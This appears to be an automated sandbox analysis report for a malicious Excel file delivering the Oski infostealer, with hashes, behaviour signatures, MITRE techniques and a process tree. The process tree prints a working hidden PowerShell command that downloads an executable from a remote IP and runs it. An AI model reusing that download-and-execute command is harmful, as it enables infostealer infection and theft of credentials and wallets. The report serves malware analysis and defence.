oski | be88c65266ce52179410570bbca448cf49c6aff1b56845a27085af47e2d19681

Analysis

max time kernel
101s
max time network
115s
platform
windows7_x64
resource
win7v20210410
submitted
14-04-2021 20:47

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General

Target

IMG_108_60_504_10.xls
Size

386KB
MD5

04fbea5ffe3e351533bc0a4509c51505
SHA1

f0b7ad5184bccb1570b91ddbb192705a476f1974
SHA256

be88c65266ce52179410570bbca448cf49c6aff1b56845a27085af47e2d19681
SHA512

da271a793200ed77e0c7e86a57a91586c83828c87e0d3d455ab3aee20bb6a5a832459349dddfdd26dd93aae7ae3974a886cb756d4d15e07b49aa6d028bc252e0

Score

10^/10

oski infostealer spyware stealer

Malware Config

Extracted

Family

oski

novget.com

Signatures

Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 1136 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

suffermodern.exesuffermodern.exe

pid process

1052 suffermodern.exe
1228 suffermodern.exe

flow	pid	process
4	1136	powershell.exe

pid	process
1052	suffermodern.exe
1228	suffermodern.exe

Loads dropped DLL 13 IoCs

Processes:

powershell.exesuffermodern.exesuffermodern.exeWerFault.exe

pid	process
1136	powershell.exe
1136	powershell.exe
1136	powershell.exe
1052	suffermodern.exe
1228	suffermodern.exe
1228	suffermodern.exe
1228	suffermodern.exe
1228	suffermodern.exe
468	WerFault.exe
468	WerFault.exe
468	WerFault.exe
468	WerFault.exe
468	WerFault.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 5 IoCs

Processes:

OUTLOOK.EXEpowershell.exe

description	ioc	process
File created	C:\Windows\SysWOW64\PerfStringBackup.TMP	OUTLOOK.EXE
File opened for modification	C:\Windows\SysWOW64\PerfStringBackup.INI	OUTLOOK.EXE
File created	C:\Windows\system32\perfc009.dat	OUTLOOK.EXE
File created	C:\Windows\system32\perfh009.dat	OUTLOOK.EXE
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

suffermodern.exe

description pid process target process

PID 1052 set thread context of 1228 1052 suffermodern.exe suffermodern.exe

description	pid	process	target process
PID 1052 set thread context of 1228	1052	suffermodern.exe	suffermodern.exe

Drops file in Windows directory 3 IoCs

Processes:

OUTLOOK.EXE

description	ioc	process
File created	C:\Windows\inf\Outlook\outlperf.h	OUTLOOK.EXE
File opened for modification	C:\Windows\inf\Outlook\outlperf.h	OUTLOOK.EXE
File created	C:\Windows\inf\Outlook\0009\outlperf.ini	OUTLOOK.EXE

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

468 1228 WerFault.exe suffermodern.exe
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

pid	pid_target	process	target process
468	1228	WerFault.exe	suffermodern.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

OUTLOOK.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630E9-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{50BB9B50-811D-11CE-B565-00AA00608FAA}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672F6-0000-0000-C000-000000000046}\TypeLib\Version = "9.4"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672EF-0000-0000-C000-000000000046}\ = "_OlkTimeControl"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672F5-0000-0000-C000-000000000046}	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00067353-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063087-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006308C-0000-0000-C000-000000000046}	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063074-0000-0000-C000-000000000046}\ = "_OutlookBarShortcuts"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063007-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630D1-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063047-0000-0000-C000-000000000046}\ = "_UserDefinedProperties"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063086-0000-0000-C000-000000000046}	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006300A-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006302A-0000-0000-C000-000000000046}	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630B0-0000-0000-C000-000000000046}\ = "_Reminder"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630D8-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630DF-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630A8-0000-0000-C000-000000000046}	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063085-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063098-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630F2-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672E6-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672EE-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063040-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006300F-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006300F-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006304E-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006307A-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630A2-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672DB-0000-0000-C000-000000000046}	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672E3-0000-0000-C000-000000000046}\ = "OlkComboBoxEvents"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063001-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630E8-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630E5-0000-0000-C000-000000000046}	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063081-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672E6-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063042-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006307C-0000-0000-C000-000000000046}\TypeLib\Version = "9.4"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063022-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006302C-0000-0000-C000-000000000046}\ = "ApplicationEvents_11"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672F5-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006303D-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630C8-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630B0-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00067367-0000-0000-C000-000000000046}\ = "_OlkTimeZoneControl"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006304D-0000-0000-C000-000000000046}\TypeLib\Version = "9.4"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006307C-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006309C-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063099-0000-0000-C000-000000000046}	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063086-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006304F-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063072-0000-0000-C000-000000000046}\TypeLib\Version = "9.4"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630A5-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630FE-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630C9-0000-0000-C000-000000000046}\TypeLib\Version = "9.4"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630ED-0000-0000-C000-000000000046}\ = "_JournalModule"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063059-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630FF-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00067353-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063045-0000-0000-C000-000000000046}	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006304A-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630CF-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630D9-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

452 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exesuffermodern.exeWerFault.exe

pid process

1136 powershell.exe
1052 suffermodern.exe
1052 suffermodern.exe
468 WerFault.exe
468 WerFault.exe
468 WerFault.exe
468 WerFault.exe
468 WerFault.exe

pid	process
452	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exeOUTLOOK.EXEsuffermodern.exeWerFault.exe

description	pid	process
Token: SeDebugPrivilege	1136	powershell.exe
Token: SeShutdownPrivilege	1756	OUTLOOK.EXE
Token: SeDebugPrivilege	1052	suffermodern.exe
Token: SeDebugPrivilege	468	WerFault.exe

Suspicious use of FindShellTrayWindow 6 IoCs

Processes:

OUTLOOK.EXE

pid process

1756 OUTLOOK.EXE
1756 OUTLOOK.EXE
1756 OUTLOOK.EXE
1756 OUTLOOK.EXE
1756 OUTLOOK.EXE
1756 OUTLOOK.EXE
Suspicious use of SendNotifyMessage 5 IoCs

Processes:

OUTLOOK.EXE

pid process

1756 OUTLOOK.EXE
1756 OUTLOOK.EXE
1756 OUTLOOK.EXE
1756 OUTLOOK.EXE
1756 OUTLOOK.EXE
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

EXCEL.EXEOUTLOOK.EXE

pid process

452 EXCEL.EXE
452 EXCEL.EXE
452 EXCEL.EXE
1756 OUTLOOK.EXE

pid	process
1756	OUTLOOK.EXE
1756	OUTLOOK.EXE
1756	OUTLOOK.EXE
1756	OUTLOOK.EXE
1756	OUTLOOK.EXE
1756	OUTLOOK.EXE

pid	process
1756	OUTLOOK.EXE
1756	OUTLOOK.EXE
1756	OUTLOOK.EXE
1756	OUTLOOK.EXE
1756	OUTLOOK.EXE

pid	process
452	EXCEL.EXE
452	EXCEL.EXE
452	EXCEL.EXE
1756	OUTLOOK.EXE

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

OUTLOOK.EXEpowershell.exesuffermodern.exesuffermodern.exe

description	pid	process	target process
PID 1756 wrote to memory of 1136	1756	OUTLOOK.EXE	powershell.exe
PID 1756 wrote to memory of 1136	1756	OUTLOOK.EXE	powershell.exe
PID 1756 wrote to memory of 1136	1756	OUTLOOK.EXE	powershell.exe
PID 1756 wrote to memory of 1136	1756	OUTLOOK.EXE	powershell.exe
PID 1136 wrote to memory of 1052	1136	powershell.exe	suffermodern.exe
PID 1136 wrote to memory of 1052	1136	powershell.exe	suffermodern.exe
PID 1136 wrote to memory of 1052	1136	powershell.exe	suffermodern.exe
PID 1136 wrote to memory of 1052	1136	powershell.exe	suffermodern.exe
PID 1052 wrote to memory of 1228	1052	suffermodern.exe	suffermodern.exe
PID 1052 wrote to memory of 1228	1052	suffermodern.exe	suffermodern.exe
PID 1052 wrote to memory of 1228	1052	suffermodern.exe	suffermodern.exe
PID 1052 wrote to memory of 1228	1052	suffermodern.exe	suffermodern.exe
PID 1052 wrote to memory of 1228	1052	suffermodern.exe	suffermodern.exe
PID 1052 wrote to memory of 1228	1052	suffermodern.exe	suffermodern.exe
PID 1052 wrote to memory of 1228	1052	suffermodern.exe	suffermodern.exe
PID 1052 wrote to memory of 1228	1052	suffermodern.exe	suffermodern.exe
PID 1052 wrote to memory of 1228	1052	suffermodern.exe	suffermodern.exe
PID 1052 wrote to memory of 1228	1052	suffermodern.exe	suffermodern.exe
PID 1228 wrote to memory of 468	1228	suffermodern.exe	WerFault.exe
PID 1228 wrote to memory of 468	1228	suffermodern.exe	WerFault.exe
PID 1228 wrote to memory of 468	1228	suffermodern.exe	WerFault.exe
PID 1228 wrote to memory of 468	1228	suffermodern.exe	WerFault.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\IMG_108_60_504_10.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:452

C:\Program Files (x86)\Microsoft Office\Office14\OUTLOOK.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\OUTLOOK.EXE" -Embedding
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1756

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w Hidden Invoke-WebRequest -Uri "http://178.17.171.144/sch/Mfipdre.exe" -OutFile "C:\Users\Public\Documents\suffermodern.exe";C:\Users\Public\Documents\suffermodern.exe
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1136

C:\Users\Public\Documents\suffermodern.exe
"C:\Users\Public\Documents\suffermodern.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1052

C:\Users\Admin\AppData\Local\Temp\suffermodern.exe
C:\Users\Admin\AppData\Local\Temp\suffermodern.exe
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1228 -s 784
5⤵
- Loads dropped DLL
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:468

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\suffermodern.exe
MD5
3061e2d44678262f26d3f68a419bea3a

SHA1
546ad4d518a1ed317dee8bc1331249a10debebcc

SHA256
db23d6f5e2123cde47f4e3178bf18063aa3270d13499991200c9074a837eff07

SHA512
b397ba5f1e08e247ab3c3ca27877d6e8add173eea292621a38e45ad67bd01083676bce9a4752a4389db23c2bccefcbee356a0a7806d9aa2b3ede1e26b9cbc731

Download Submit
C:\Users\Admin\AppData\Local\Temp\suffermodern.exe
MD5
3061e2d44678262f26d3f68a419bea3a

SHA1
546ad4d518a1ed317dee8bc1331249a10debebcc

SHA256
db23d6f5e2123cde47f4e3178bf18063aa3270d13499991200c9074a837eff07

SHA512
b397ba5f1e08e247ab3c3ca27877d6e8add173eea292621a38e45ad67bd01083676bce9a4752a4389db23c2bccefcbee356a0a7806d9aa2b3ede1e26b9cbc731

Download Submit
C:\Users\Public\Documents\suffermodern.exe
MD5
3061e2d44678262f26d3f68a419bea3a

SHA1
546ad4d518a1ed317dee8bc1331249a10debebcc

SHA256
db23d6f5e2123cde47f4e3178bf18063aa3270d13499991200c9074a837eff07

SHA512
b397ba5f1e08e247ab3c3ca27877d6e8add173eea292621a38e45ad67bd01083676bce9a4752a4389db23c2bccefcbee356a0a7806d9aa2b3ede1e26b9cbc731

Download Submit
C:\Users\Public\Documents\suffermodern.exe
MD5
3061e2d44678262f26d3f68a419bea3a

SHA1
546ad4d518a1ed317dee8bc1331249a10debebcc

SHA256
db23d6f5e2123cde47f4e3178bf18063aa3270d13499991200c9074a837eff07

SHA512
b397ba5f1e08e247ab3c3ca27877d6e8add173eea292621a38e45ad67bd01083676bce9a4752a4389db23c2bccefcbee356a0a7806d9aa2b3ede1e26b9cbc731

Download Submit
\ProgramData\mozglue.dll
MD5
8f73c08a9660691143661bf7332c3c27

SHA1
37fa65dd737c50fda710fdbde89e51374d0c204a

SHA256
3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd

SHA512
0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89

Download Submit
\ProgramData\msvcp140.dll
MD5
109f0f02fd37c84bfc7508d4227d7ed5

SHA1
ef7420141bb15ac334d3964082361a460bfdb975

SHA256
334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

SHA512
46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

Download Submit
\ProgramData\vcruntime140.dll
MD5
7587bf9cb4147022cd5681b015183046

SHA1
f2106306a8f6f0da5afb7fc765cfa0757ad5a628

SHA256
c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

SHA512
0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

Download Submit
\Users\Admin\AppData\Local\Temp\suffermodern.exe
MD5
3061e2d44678262f26d3f68a419bea3a

SHA1
546ad4d518a1ed317dee8bc1331249a10debebcc

SHA256
db23d6f5e2123cde47f4e3178bf18063aa3270d13499991200c9074a837eff07

SHA512
b397ba5f1e08e247ab3c3ca27877d6e8add173eea292621a38e45ad67bd01083676bce9a4752a4389db23c2bccefcbee356a0a7806d9aa2b3ede1e26b9cbc731

Download Submit
\Users\Admin\AppData\Local\Temp\suffermodern.exe
MD5
3061e2d44678262f26d3f68a419bea3a

SHA1
546ad4d518a1ed317dee8bc1331249a10debebcc

SHA256
db23d6f5e2123cde47f4e3178bf18063aa3270d13499991200c9074a837eff07

SHA512
b397ba5f1e08e247ab3c3ca27877d6e8add173eea292621a38e45ad67bd01083676bce9a4752a4389db23c2bccefcbee356a0a7806d9aa2b3ede1e26b9cbc731

Download Submit
\Users\Admin\AppData\Local\Temp\suffermodern.exe
MD5
3061e2d44678262f26d3f68a419bea3a

SHA1
546ad4d518a1ed317dee8bc1331249a10debebcc

SHA256
db23d6f5e2123cde47f4e3178bf18063aa3270d13499991200c9074a837eff07

SHA512
b397ba5f1e08e247ab3c3ca27877d6e8add173eea292621a38e45ad67bd01083676bce9a4752a4389db23c2bccefcbee356a0a7806d9aa2b3ede1e26b9cbc731

Download Submit
\Users\Admin\AppData\Local\Temp\suffermodern.exe
MD5
3061e2d44678262f26d3f68a419bea3a

SHA1
546ad4d518a1ed317dee8bc1331249a10debebcc

SHA256
db23d6f5e2123cde47f4e3178bf18063aa3270d13499991200c9074a837eff07

SHA512
b397ba5f1e08e247ab3c3ca27877d6e8add173eea292621a38e45ad67bd01083676bce9a4752a4389db23c2bccefcbee356a0a7806d9aa2b3ede1e26b9cbc731

Download Submit
\Users\Admin\AppData\Local\Temp\suffermodern.exe
MD5
3061e2d44678262f26d3f68a419bea3a

SHA1
546ad4d518a1ed317dee8bc1331249a10debebcc

SHA256
db23d6f5e2123cde47f4e3178bf18063aa3270d13499991200c9074a837eff07

SHA512
b397ba5f1e08e247ab3c3ca27877d6e8add173eea292621a38e45ad67bd01083676bce9a4752a4389db23c2bccefcbee356a0a7806d9aa2b3ede1e26b9cbc731

Download Submit
\Users\Admin\AppData\Local\Temp\suffermodern.exe
MD5
3061e2d44678262f26d3f68a419bea3a

SHA1
546ad4d518a1ed317dee8bc1331249a10debebcc

SHA256
db23d6f5e2123cde47f4e3178bf18063aa3270d13499991200c9074a837eff07

SHA512
b397ba5f1e08e247ab3c3ca27877d6e8add173eea292621a38e45ad67bd01083676bce9a4752a4389db23c2bccefcbee356a0a7806d9aa2b3ede1e26b9cbc731

Download Submit
\Users\Public\Documents\suffermodern.exe
MD5
3061e2d44678262f26d3f68a419bea3a

SHA1
546ad4d518a1ed317dee8bc1331249a10debebcc

SHA256
db23d6f5e2123cde47f4e3178bf18063aa3270d13499991200c9074a837eff07

SHA512
b397ba5f1e08e247ab3c3ca27877d6e8add173eea292621a38e45ad67bd01083676bce9a4752a4389db23c2bccefcbee356a0a7806d9aa2b3ede1e26b9cbc731

Download Submit
\Users\Public\Documents\suffermodern.exe
MD5
3061e2d44678262f26d3f68a419bea3a

SHA1
546ad4d518a1ed317dee8bc1331249a10debebcc

SHA256
db23d6f5e2123cde47f4e3178bf18063aa3270d13499991200c9074a837eff07

SHA512
b397ba5f1e08e247ab3c3ca27877d6e8add173eea292621a38e45ad67bd01083676bce9a4752a4389db23c2bccefcbee356a0a7806d9aa2b3ede1e26b9cbc731

Download Submit
\Users\Public\Documents\suffermodern.exe
MD5
3061e2d44678262f26d3f68a419bea3a

SHA1
546ad4d518a1ed317dee8bc1331249a10debebcc

SHA256
db23d6f5e2123cde47f4e3178bf18063aa3270d13499991200c9074a837eff07

SHA512
b397ba5f1e08e247ab3c3ca27877d6e8add173eea292621a38e45ad67bd01083676bce9a4752a4389db23c2bccefcbee356a0a7806d9aa2b3ede1e26b9cbc731

Download Submit
memory/452-120-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/452-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
